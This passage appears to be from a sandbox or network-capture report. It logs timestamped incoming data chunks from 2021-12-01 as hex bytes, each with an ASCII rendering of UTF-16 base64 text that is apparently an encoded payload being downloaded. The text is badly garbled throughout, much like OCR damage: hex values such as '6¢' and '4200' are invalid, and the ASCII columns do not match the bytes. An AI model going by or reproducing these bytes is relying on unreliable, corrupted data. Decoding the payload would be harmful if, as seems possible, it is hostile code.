2021-12-01 08:14:01 UTC 140 IN Data Raw: 00 6e 00 53 00 6a 00 64 00 69 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00 61 00 55 00 46 00 6€ 00
54 00 6a 00 6¢ 00 69 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00 5a 00 55 00 46 00 75 00 64 00 48 00 52 00 42
00 51 00 55 00 46 00 46 00 53 00 32 00 6¢ 00 4a 00 51 00 30 00 45 00 7a 00 4d 00 58 00 52 00 42 00 51 00 55 00 46 00
46 00 53 00 32 00 67 00 30 00 51 00 32 00 55 00 79 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 78 00 53 00 57 00 64
00 4a 00 52 00 47 00 5a 00 58 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 78 00 53 00 47 00 64 00 4b 00 4e 00 32 00
4200 33 00 51 00 55 00 46 00 43 00 51 00 32 00 39 00 70 00 51 00 57 00 64 00 4f 00 4f 00 57 00 4a 00 33 00 51 00 55
00 46 00 43 00 51 00 32 00 39 00 6¢ 00 51 00 57 00 35 00 30 00 64 00 30 00
Data Ascii: nSjdiQUFBQkNvaUFNT]liQUFBQKNvZUFudHRBQUFFS2IJQOEzMXRBQUFFS2g0Q2UyNEFBQVFXSWAJR
GZXNEFBQVFxSGAKN2J3QUFCQ29pQWdO0OWI3QUFCQ29IQW50d0

2021-12-01 08:14:01 UTC 144 IN Data Raw: 57 00 39 00 5a 00 5a 00 30 00 46 00 42 00 51 00 32 00 6¢ 00 76 00 5a 00 55 00 46 00 35 00 61 00 47 00 70 00

4200 51 00 55 00 46 00 4c 00 53 00 32 00 6b 00 31 00 65 00 6b 00 46 00 33 00 53 00 55 00 46 00 43 00 62 00 30 00 51
00 72 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 6f 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6¢ 00 42 00 51 00 55 00
46 00 76 00 63 00 57 00 56 00 75 00 4e 00 45 00 64 00 42 00 51 00 55 00 46 00 46 00 5a 00 6d 00 64 00 6a 00 51 00 55
00 46 00 42 00 55 00 57 00 39 00 4d 00 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 4d 00 62 00 45 00 4e 00 52 00 51 00
6e 00 64 00 47 00 61 00 44 00 68 00 52 00 53 00 30 00 70 00 76 00 51 00 6b 00 46 00 42 00 62 00 32 00 31 00 4c 00 61
00 44 00 52 00 44 00 53 00 30 00 64 00 4a 00 51 00 55 00 46 00 42 00 62

Data Ascii: W9ZZ0FBQ2IvZUF5aGpBQUFLS2k1ekF3SUFCb0QrQUFBRUtoNENLROIBQUFveWVUNEdBQUFFZmdjQUF
BUWIMUUFBQmM5MbENRQndGaDhRS0pvQkFBb21LaDRDS0dJQUFBb

2021-12-01 08:14:01 UTC 148 IN Data Raw: 00 51 00 55 00 46 00 42 00 51 00 55 00 78 00 44 00 4c 00 30 00 46 00 42 00 52 00 45 00 31 00 49 00 64 00 30
00 46 00 42 00 53 00 54 00 42 00 4b 00 63 00 32 00 49 00 79 00 53 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00
55 00 46 00 42 00 51 00 55 00 46 00 6e 00 51 00 55 00 46 00 42 00 56 00 6d 00 59 00 76 00 62 00 32 00 6f 00 34 00 53
00 6b 00 52 00 6e 00 51 00 55 00 46 00 42 00 55 00 47 00 39 00 43 00 54 00 58 00 64 00 42 00 56 00 30 00 46 00 42 00
51 00 55 00 4a 00 42 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 49 00 63 00 30 00 46 00 42
00 51 00 55 00 46 00 6¢ 00 51 00 56 00 46 00 42 00 51 00 55 00 70 00 33 00 53 00 55 00 46 00 42 00 52 00 7a 00 68 00
44 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00
Data Ascii: QUFBQUxXDLOFBRE1IdOFBSTBKc2lySUFBQUFBQUFBQUFNQUFBVmMYvb204SkRNQUFBUGIC
TXdBVOFBQUJIBQUFBAOFBQUFICOFBQUFIQVFBQUP3SUFBRzhDQUFBTUFBQUF

2021-12-01 08:14:01 UTC 152 IN Data Raw: 52 00 6b 00 53 00 48 00 56 00 56 00 63 00 55 00 78 00 6e 00 51 00 6a 00 46 00 4f 00 52 00 58 00 64 00 79 00

52 00 6d 00 64 00 45 00 4d 00 6¢ 00 45 00 72 00 56 00 58 00 46 00 47 00 5a 00 30 00 51 00 72 00 53 00 48 00 56 00 56
00 63 00 55 00 5a 00 6e 00 51 00 53 00 74 00 4e 00 54 00 31 00 56 00 78 00 52 00 6d 00 64 00 42 00 54 00 30 00 6¢ 00
31 00 56 00 58 00 46 00 43 00 5a 00 30 00 45 00 77 00 51 00 6d 00 52 00 6e 00 63 00 6b 00 64 00 6e 00 52 00 45 00 46
00 4d 00 4e 00 57 00 63 00 77 00 52 00 32 00 64 00 43 00 54 00 31 00 46 00 5a 00 61 00 7a 00 56 00 4c 00 5a 00 30 00
52 00 59 00 54 00 46 00 56 00 4e 00 4e 00 55 00 4a 00 6e 00 52 00 48 00 56 00 49 00 4f 00 57 00 64 00 79 00 54 00 6d
00 64 00 43 00 56 00 56 00 46 00 55 00 4e 00 44 00 68 00 4f 00 5a 00 30

Data Ascii: RKSHVVcUxnQjFORXdyRmdEMIErVXFGZ0QrSHVVcUZnQStNT1VXRmdBTOI1VXFCZOEwQmRnckdnREFM
NWcwR2dCT1FZazVLZORY TFVNNUJINRHVIOWdyTmdCVVFUNDhOZ0

2021-12-01 08:14:01 UTC 156 IN Data Raw: 00 56 00 46 00 42 00 51 00 55 00 68 00 54 00 55 00 55 00 46 00 42 00 52 00 7a 00 42 00 42 00 4c 00 32 00 64
00 45 00 4d 00 6b 00 46 00 52 00 54 00 55 00 4a 00 42 00 51 00 55 00 45 00 78 00 53 00 6b 00 46 00 42 00 51 00 57 00
4a 0052 00 52 00 43 00 74 00 42 00 55 00 47 00 39 00 43 00 51 00 58 00 64 00 46 00 51 00 55 00 46 00 51 00 56 00 57
00 70 00 42 00 51 00 55 00 4a 00 30 00 51 00 56 00 41 00 30 00 51 00 53 00 39 00 6e 00 52 00 55 00 52 00 4a 00 55 00
6b 00 46 00 42 00 4d 00 57 00 68 00 72 00 51 00 55 00 46 00 44 00 61 00 30 00 45 00 76 00 5a 00 30 00 46 00 44 00 51
00 57 00 64 00 4e 00 51 00 6b 00 56 00 42 00 51 00 30 00 39 00 42 00 55 00 55 00 46 00 42 00 53 00 31 00 46 00 42 00
51 00 55 00 46 00 52 00 56 00 55 00 4e 00 6e 00 64 00 30 00 56 00 52 00
Data Ascii: VFBQUhTUUFBRzBBL2dEMKFRTUJBQUEXSkFBQWJRRCtBUG9CQXdFQUFQVWpBQUJIOQVAOQ
S9NRURJUKFBMWhrQUFDa0EvZOFDQWANQKVBQO9BUUFBS1FBQUFRVUNNdOVR

2021-12-01 08:14:01 UTC 160 IN Data Raw: 53 00 51 00 6d 00 64 00 42 00 56 00 31 00 42 00 78 00 57 00 55 00 46 00 43 00 5a 00 30 00 46 00 76 00 55
00 43 00 39 00 56 00 55 00 55 00 46 00 52 00 52 00 47 00 64 00 48 00 63 00 56 00 6¢ 00 42 00 51 00 56 00 46 00 42 00
54 00 45 00 63 00 32 00 57 00 55 00 46 00 42 00 55 00 55 00 52 00 6e 00 52 00 33 00 46 00 5a 00 51 00 55 00 46 00 52
00 51 00 55 00 78 00 48 00 4e 00 6¢ 00 6¢ 00 42 00 51 00 56 00 46 00 42 00 4d 00 6b 00 64 00 35 00 59 00 31 00 4a 00
42 00 55 00 55 00 4a 00 6f 00 52 00 33 00 70 00 42 00 55 00 6b 00 46 00 52 00 51 00 30 00 31 00 48 00 65 00 6d 00 74
00 53 00 51 00 56 00 46 00 44 00 4d 00 30 00 63 00 77 00 53 00 56 00 4a 00 42 00 55 00 55 00 52 00 6e 00 52 00 33 00
46 00 5a 00 51 00 55 00 46 00 52 00 51 00 55 00 78 00 48 00 65 00 47 00 4e
Data Ascii: SQmdBV1BxWUFCZ0FVUC9VUUFRRGdHcVIBQVFBTEC2WUFBUURNR3FZQUFRQUXHNIIBQVF
BMkd5Y1JBUUJoR3pBUKFRQO1HemtSQVFDMOcwSVJIBUURNR3FZQUFRQUxHeGN
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2021-12-01 08:14:.01 UTC 164 IN Data Raw: 00 64 00 47 00 55 00 6b 00 4a 00 77 00 62 00 31 00 4a 00 4e 00 64 00 30 00 5a 00 53 00 52 00 54 00 63 00
770055 00 6b 00 31 00 33 00 52 00 58 00 5a 00 42 00 59 00 6b 00 31 00 53 00 54 00 58 00 64 00 47 00 62 00 30 00 49
00 35 00 57 00 56 00 4a 00 4e 00 64 00 30 00 5a 00 6b 00 52 00 6¢ 00 46 00 4e 00 55 00 30 00 31 00 33 00 53 00 47 00
64 00 46 00 55 00 31 00 46 00 53 00 54 00 58 00 64 00 46 00 4d 00 6b 00 4d 00 33 00 54 00 56 00 4a 00 43 00 5a 00 30
00 4e 00 4f 00 54 00 57 00 46 00 5a 00 51 00 55 00 35 00 6e 00 51 00 57 00 68 00 46 00 55 00 33 00 4e 00 54 00 52 00
6d 00 64 00 43 00 57 00 55 00 46 00 55 00 51 00 56 00 4e 00 47 00 5a 00 30 00 49 00 32 00 51 00 6d 00 70 00 6e 00 55
00 30 00 5a 00 6e 00 52 00 44 00 42 00 44 00 61 00 31 00 6¢ 00 54 00 52 00
Data Ascii: dGUkJwb1INdOZSRTcwUk13RXZBYk1STXdGbOISWVJINAOZKRIFNU013SGdFU1FSTXdFMKM3TVJCZONO
TWFZQU5NQWhFU3SNTRmMdCWUFUQVNGZ0I12QmpnU0ZnRDBDallTR

2021-12-01 08:14:01 UTC 168 IN Data Raw: 4e 00 46 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 55 00 4a 00 4e 00 4d 00 32
00 74 00 53 00 55 00 6d 00 39 00 42 00 52 00 33 00 68 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00
5500 46 00 79 00 51 00 6d 00 6¢ 00 46 00 52 00 6b 00 64 00 72 00 51 00 57 00 39 00 46 00 54 00 55 00 46 00 42 00 51
00 55 00 46 00 42 00 61 00 47 00 64 00 43 00 56 00 55 00 35 00 76 00 55 00 56 00 56 00 68 00 5a 00 30 00 52 00 56 00
55 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 42 00 53 00 46 00 45 00 79 00 61 00 45 00 4a 00 53
00 63 00 6b 00 46 00 42 00 61 00 45 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 5a 00 51 00 57 00 68 00
7100 59 00 55 00 56 00 47 00 52 00 33 00 64 00 42 00 55 00 45 00 56 00 52
Data Ascii: NFF3QUFBQUNHQUJNM2tSUM9BR3hEQUFBQUFJWUFyQmIFRkdrQW9FTUFBQUFBaGdCVU5v
UVVhZORVUXdBQUFBQOdBSFEyaEJSckFBaEVBQUFBQUIZQWhqYUVGR3dBUEVR

2021-12-01 08:14:01 UTC 172 IN Data Raw: 00 5a 00 56 00 6d 00 35 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 5a 00 57 00 53 00 74 00 55 00
54 00 55 00 4a 00 42 00 51 00 30 00 6¢ 00 43 00 61 00 30 00 64 00 6a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 34
00 5a 00 30 00 4e 00 74 00 54 00 56 00 70 00 4a 00 56 00 6b 00 6¢ 00 6 00 52 00 56 00 56 00 68 00 51 00 55 00 46 00
4200 51 00 55 00 46 00 45 00 52 00 30 00 46 00 45 00 4e 00 44 00 52 00 75 00 51 00 6¢ 00 56 00 72 00 51 00 56 00 4e
00 6f 00 63 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6¢ 00 4a 00 56 00 32 00 70 00 70 00 64 00 30 00
5a 00 54 00 55 00 55 00 4a 00 4e 00 52 00 33 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 48
00 46 00 50 00 54 00 47 00 64 00 57 00 53 00 6b 00 46 00 46 00 4f 00 47 00
Data Ascii: ZVm5BQUFBQUIZWStUTUJBQOICa0djQUFBQUF4ZONITVpJVKInRVVhQUFBQUFEROFENDRUQIVIQVNoc
kFBQUFBSVIJV2ppd0ZTUUINR3NBQUFBQWhnaHFPTGAWSKFFOG

2021-12-01 08:14:01 UTC 176 IN Data Raw: 00 5a 00 51 00 54 00 46 00 72 00 53 00 31 00 4a 00 42 00 4d 00 6b 00 6¢ 00 43 00 57 00 6b 00 70 00 33 00
51 0055 00 46 00 42 00 51 00 55 00 46 00 73 00 5a 00 30 00 4e 00 4a 00 54 00 45 00 70 00 46 00 52 00 46 00 6¢ 00 6e
00 53 00 48 00 64 00 75 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 56 00 45 00 46 00 4c 00 54 00 55 00 49 00
30 00 5a 00 30 00 4a 00 70 00 51 00 56 00 56 00 44 00 5a 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6¢ 00 6¢
00 42 00 5a 00 57 00 70 00 6f 00 62 00 55 00 5a 00 58 00 55 00 55 00 4a 00 6a 00 53 00 6a 00 68 00 42 00 51 00 55 00
46 00 42 00 51 00 57 00 78 00 6e 00 51 00 58 00 5a 00 4a 00 55 00 32 00 74 00 45 00 59 00 55 00 46 00 49 00 59 00 32
00 35 00 33 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51 00 55 00
Data Ascii: ZQTFrS1JBMKICWkp3QUFBQUFsZONJTEpFRFINSHAduQUFBQUFDVEFLTUI0Z0JpQVVDZEFBQUFBSIIBZ
WpobUZXUUJjSjhBQUFBQWxXnQXZJU2tEYUFIY253QUFBQUNXQU

2021-12-01 08:14:01 UTC 180 IN Data Raw: 57 00 68 00 6e 00 5a 00 32 00 46 00 45 00 61 00 45 00 46 00 42 00 62 00 56 00 46 00 49 00 4d 00 6d 00 39
00 6e 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 30 00 39 00 72 00 54 00 33 00 6¢ 00 52 00 51 00 32 00
46 00 42 00 5a 00 6a 00 5a 00 70 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00 55 00 6b 00 34 00 55 00 54
00 52 00 52 00 51 00 55 00 70 00 76 00 51 00 6b 00 49 00 32 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00
47 00 64 00 6f 00 53 00 45 00 4a 00 4e 00 61 00 30 00 46 00 74 00 64 00 30 00 56 00 51 00 62 00 33 00 64 00 42 00 51
00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 52 00 54 00 68 00 46 00 52 00 55 00 46 00 44 00 59 00 6b 00 46 00 53 00
61 00 57 00 70 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 5a 00 53
Data Ascii: WhnZ2FEaEFBbVFIMMInQUFBQUNHQO9rT3IRQ2FBZjZpQUFBQUFIWUK4UTRRQUpPVQKI2T
UFBQUFBaGdoSEJNaOFtd0VQb3dBQUFBQOdDRThFRUFDYKFSaWpBQUFBQUIZS

2021-12-01 08:14:01 UTC 184 IN Data Raw: 00 51 00 30 00 64 00 44 00 52 00 54 00 68 00 46 00 52 00 55 00 46 00 45 00 52 00 6b 00 46 00 69 00 62 00
57 00 35 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 5a 00 53 00 54 00 42 00 6e 00 59 00 6b 00 70 00 42 00 54
00 56 00 6¢ 00 43 00 64 00 32 00 46 00 6a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6f 00 5a 00 32 00 70 00 68 00 5
100 6d 00 68 00 42 00 51 00 58 00 68 00 6e 00 53 00 45 00 74 00 77 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44
00 52 00 30 00 4e 00 4d 00 56 00 55 00 6¢ 00 79 00 65 00 47 00 5a 00 49 00 51 00 57 00 52 00 4c 00 62 00 6b 00 46 00
42 00 51 00 55 00 46 00 42 00 53 00 56 00 6¢ 00 4a 00 64 00 6¢ 00 46 00 70 00 4d 00 55 00 59 00 34 00 59 00 30 00 49
00 79 00 4e 00 6d 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00
Data Ascii: QQdDRThFRUFERKFibW5BQUFBQUIZSTBnYkpBTVICd2FjQUFBQUF0Z2phQmhBQXhnSEtwdOFBQUFDRO
NMVUIyeGZIQWRLbkFBQUFBSVIJdIFpMUY4Y0lyNmNBQUFBQWh

2021-12-01 08:14:01 UTC 188 IN Data Raw: 52 00 42 00 53 00 56 00 6¢ 00 5a 00 4b 00 31 00 52 00 4f 00 4d 00 45 00 46 00 50 00 64 00 30 00 4a 00 42 00
51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 58 00 68 00 6e 00 52 00 7a 00 42 00 49 00 4e 00 6b 00 31 00 55
00 4e 00 32 00 64 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 64 00 30 00 52 00 48 00 51 00 57 00 45 00
34 00 5a 00 6b 00 39 00 43 00 61 00 6e 00 6¢ 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 45 00 46
00 4e 00 57 00 55 00 4a 00 77 00 55 00 6a 00 6¢ 00 47 00 52 00 31 00 42 00 6e 00 51 00 6b 00 46 00 42 00 51 00 55 00
46 00 42 00 51 00 55 00 31 00 42 00 61 00 47 00 68 00 71 00 4e 00 55 00 30 00 7a 00 55 00 55 00 45 00 72 00 5a 00 30
00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 33 00 52 00 45
Data Ascii: RBSVIZKIROMEFPd0JBQUFBQUFNQXhnRzBINk1UN2dFQUFBQUFBdORHQWE4Zk9CanIlBUU
FBQUFBREFNWUJWUjIGR1BNQkFBQUFBQU1BaGhqNU0zUUErZ0VBQUFBQUF3RE

2021-12-01 08:14:01 UTC 192 IN Data Raw: 00 30 00 46 00 42 00 51 00 57 00 64 00 45 00 4c 00 31 00 46 00 52 00 51 00 57 00 64 00 42 00 64 00 30 00 52
00 30 00 53 00 56 00 46 00 4a 00 51 00 55 00 4a 00 42 00 52 00 48 00 56 00 52 00 55 00 55 00 46 00 42 00 51 00 6¢ 00
46 00 45 00 51 00 56 00 42 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 4d 00 77 00 55 00 45 00 46 00 42 00 51 00 55
00 4a 00 33 00 51 00 6b 00 5a 00 52 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 42 00 4f 00 56 00 46 00 42 00 51 00 5
500 46 00 44 00 55 00 55 00 46 00 6d 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 52 00 52 00 44 00 42 00 52 00 55
00 55 00 46 00 42 00 51 00 57 00 64 00 44 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 52 00
52 00 31 00 46 00 42 00 51 00 55 00 46 00 6e 00 52 00 44 00 42 00 52 00
Data Ascii: OFBQWdEL1FRQWdBAOROSVFIQUJBRHVRUUFBQIFEQVBBQUFCZOMWUEFBQUJ3QKZRQUFBQ
OFBOVFBQUFDUUFmMTOFBQUFRRDBRUUFBQWADVFFBQUFBUUNRR1FBQUFNRDBR

2021-12-01 08:14:01 UTC 197 IN Data Raw: 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54
00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00
63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33
00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00
42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46
00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00
46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46
Data Ascii: BQVFDcOXnQUFBZOEXTOFBQUF3QytQUUFBQVFDcOXnQUFBZOEXTOFBQUF3QytQUUFBQVFDcOXxNQUFBZ
OEXTOFBQUF3QytQUUFBQVFDCcOXNQUFBZOEXTOFBQUF3QYtQUUF
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Timestamp transferred Direction Data

2021-12-01 08:14:01 UTC 201 IN Data Raw: 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00
420051 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70
00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00
39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55
00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00
56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51
00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00
Data Ascii: FDTOpnQUFBUUNPSmdBQUFRQO9KZOFBQVFDTOpnQUFBUUNPSMABQUFRQO9KZOFBQVFDTO
pNQUFBUUNPSmMJBQUFRQ09KZOFBQVFDTOpnQUFBUUNPSMABQUFRQO9KZOFBQ

2021-12-01 08:14:01 UTC 205 IN Data Raw: 51 00 6b 00 46 00 4f 00 52 00 55 00 45 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 78 00 46 00 51 00 55 00
4e 00 35 00 54 00 55 00 4a 00 42 00 53 00 32 00 74 00 42 00 57 00 6¢ 00 56 00 42 00 59 00 6b 00 46 00 42 00 64 00 30
00 46 00 45 00 65 00 6a 00 68 00 75 00 51 00 55 00 74 00 72 00 51 00 55 00 6¢ 00 55 00 4d 00 45 00 4a 00 42 00 53 00
32 00 74 00 42 00 52 00 48 00 6f 00 34 00 63 00 30 00 46 00 43 00 55 00 55 00 45 00 32 00 65 00 6b 00 30 00 31 00 51 0
055 00 68 00 46 00 51 00 6a 00 5a 00 36 00 54 00 6b 00 4e 00 42 00 53 00 47 00 74 00 43 00 4b 00 31 00 52 00 4e 00
51 00 6b 00 46 00 4f 00 52 00 55 00 49 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 6¢ 00 46 00 51 00 79 00 74 00 55
00 54 00 55 00 4a 00 42 00 53 00 57 00 74 00 44 00 4b 00 31 00 52 00 4e
Data Ascii: QkFORUErVE1CQUxFQUNS5TUJBS2tBWIVBYKFBdOFEejhuQUtrQUIUMEJBS2tBRHo4cOFCUUE2ek01QU
hFQjZ6TKNBSGtCK1IRNQKFORUIr'VE1ICQUIFQytUTUJBSWtDKIRN

2021-12-01 08:14:01 UTC 208 IN Data Raw: 00 72 00 52 00 55 00 78 00 43 00 4d 00 56 00 56 00 43 00 55 00 32 00 74 00 46 00 63 00 55 00 51 00 34 00
51 00 6b 00 46 00 4e 00 52 00 55 00 4e 00 52 00 65 00 6a 00 46 00 61 00 51 00 6¢ 00 4e 00 72 00 52 00 56 00 5a 00 55
00 51 00 6d 00 64 00 43 00 57 00 47 00 74 00 42 00 4b 00 31 00 52 00 4e 00 51 00 6b 00 46 00 50 00 55 00 55 00 45 00
32 00 65 00 6b 00 38 00 78 00 51 00 55 00 39 00 33 00 51 00 55 00 52 00 36 00 4f 00 47 00 35 00 42 00 54 00 33 00 64
0042 00 57 00 6¢ 00 56 00 42 00 59 00 6b 00 46 00 44 00 61 00 30 00 49 00 72 00 56 00 45 00 31 00 43 00 51 00 56 00
42 00 52 00 51 00 53 00 74 00 55 00 54 00 6a 00 42 00 42 00 54 00 47 00 74 00 44 00 57 00 44 00 42 00 47 00 4c 00 30
00 4a 00 55 00 64 00 30 00 45 00 72 00 56 00 45 00 31 00 43 00 51 00 56 00
Data Ascii: rRUXCMVVCU2tFcUQ4QkFNRUNRejFaQINrRVZUQmMACWGtBK1IRNQKFPUUE2ek8xQUI3QUR
60G5BT3dBWIVBYkFDa0Ir'VE1ICQVBRQStUT|BBTGtDWDBGLOJUdOErVELICQV

2021-12-01 08:14:01 UTC 212 IN Data Raw: 7a 00 68 00 55 00 4b 00 31 00 4a 00 45 00 56 00 6b 00 56 00 47 00 4d 00 6c 00 49 00 32 00 57 00 55 00 52 00
58 00 61 00 30 00 59 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 64 00 72 00 52 00 6d 00 6¢ 00 70 00 61 00 30 00 5a
0042 00 52 00 32 00 74 00 47 00 59 00 6b 00 4e 00 72 00 52 00 6b 00 46 00 48 00 61 00 30 00 5a 00 5a 00 51 00 6d 00
3900 47 00 51 00 55 00 64 00 72 00 52 00 6¢ 00 46 00 45 00 4f 00 45 00 5a 00 42 00 52 00 32 00 74 00 47 00 54 00 6e O
0 6¢ 00 72 00 52 00 6b 00 46 00 47 00 52 00 55 00 5a 00 61 00 52 00 46 00 4e 00 6d 00 52 00 46 00 68 00 46 00 52 00
69 00 74 00 55 00 54 00 55 00 4a 00 42 00 53 00 45 00 56 00 47 00 55 00 32 00 67 00 32 00 62 00 55 00 52 00 5a 00 52
00 55 00 59 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 6¢ 00 46 00 52
Data Ascii: zhUK1JEVKVGMII2WURXa0YrVE1CQUdrRmIpa0ZBR2tGYKNrRkFHa0ZZQm9GQUArRIFEOEZBR2tGTnl
rRKFGRUZaRFNmMRFhFRitUTUJBSEVGU2g2bURZRUYIVE1CQUIFR

2021-12-01 08:14:01 UTC 228 IN Data Raw: 55 00 5a 00 52 00 51 00 55 00 52 00 42 00 51 00 55 00 6¢ 00 42 00 61 00 47 00 64 00 42 00 52 00 6b 00 46 00
4200 52 00 55 00 46 00 6f 00 64 00 30 00 46 00 47 00 51 00 55 00 46 00 4a 00 51 00 57 00 6¢ 00 42 00 51 00 55 00 68
00 42 00 51 00 55 00 56 00 42 00 61 00 56 00 46 00 42 00 53 00 45 00 46 00 42 00 53 00 55 00 46 00 74 00 55 00 55 00
46 00 4b 00 51 00 55 00 46 00 46 00 51 00 57 00 31 00 6e 00 51 00 55 00 70 00 42 00 51 00 55 00 6¢ 00 42 00 63 00 58
00 64 00 42 00 54 00 45 00 46 00 42 00 53 00 55 00 46 00 34 00 64 00 30 00 46 00 4f 00 51 00 55 00 46 00 4a 00 51 00
58 00 70 00 33 00 51 00 56 00 42 00 42 00 51 00 55 00 6¢ 00 42 00 4e 00 33 00 64 00 42 00 55 00 6b 00 46 00 42 00 52
00 55 00 45 00 34 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 4a 00 51
Data Ascii: UZRQURBQUIBaGdBRkFBRUFodOFGQUFJQWIBQUhBQUVBaVFBSEFBSUFtUUFKQUFFQW1nQ
UpBQUIBcXdBTEFBSUF4dOFOQUFJIQXp3QVBBQUIBN3dBUKFBRUE4QUFSQUFJIQ

2021-12-01 08:14:01 UTC 240 IN Data Raw: 00 43 00 65 00 6¢ 00 70 00 59 00 55 00 6d 00 5a 00 54 00 56 00 31 00 46 00 34 00 54 00 56 00 46 00 43 00 52
00 6d 00 4a 00 75 00 55 00 6e 00 42 00 6b 00 53 00 47 00 74 00 34 00 54 00 56 00 46 00 43 00 53 00 6¢ 00 70 00 45 00
53 00 58 00 68 00 42 00 53 00 45 00 35 00 74 00 54 00 58 00 70 00 53 00 61 00 47 00 4d 00 79 00 55 00 58 00 6¢ 00 4e
00 55 00 55 00 45 00 31 00 54 00 30 00 52 00 72 00 4d 00 6b 00 35 00 55 00 5a 00 45 00 56 00 53 00 52 00 47 00 74 00
36 00 54 00 6¢ 00 52 00 6a 00 64 00 30 00 39 00 45 00 52 00 58 00 64 00 53 00 56 00 46 00 46 00 36 00 55 00 58 00 70
00 57 00 51 00 30 00 31 00 56 00 57 00 54 00 4a 00 50 00 52 00 56 00 55 00 78 00 54 00 57 00 70 00 72 00 4d 00 45 00
3500 71 00 51 00 6b 00 52 00 52 00 56 00 47 00 4d 00 31 00 54 00 6d 00
Data Ascii: CelpYUmZTV1FATVFCRmMJuUnBkSGt4TVFCSIpESXhBSEStTXpSaGMyUXINUUELITORrMKSUZEVSRGET
IRjd09ERXASVFF6UXpWQO1VWTIPRVUXTWprME5qQKRRVGM1Tm

2021-12-01 08:14:01 UTC 256 IN Data Raw: 00 72 00 4e 00 56 00 4a 00 45 00 62 00 45 00 56 00 52 00 61 00 30 00 6¢ 00 33 00 55 00 6¢ 00 56 00 56 00 4d
0045 00 31 00 71 00 5a 00 7a 00 46 00 53 00 61 00 6¢ 00 6¢ 00 33 00 54 00 55 00 52 00 73 00 52 00 56 00 46 00 56 00
52 00 6b 00 4e 00 53 00 61 00 6d 00 4d 00 77 00 54 00 54 00 42 00 4a 00 4e 00 55 00 35 00 71 00 55 00 58 00 68 00 53
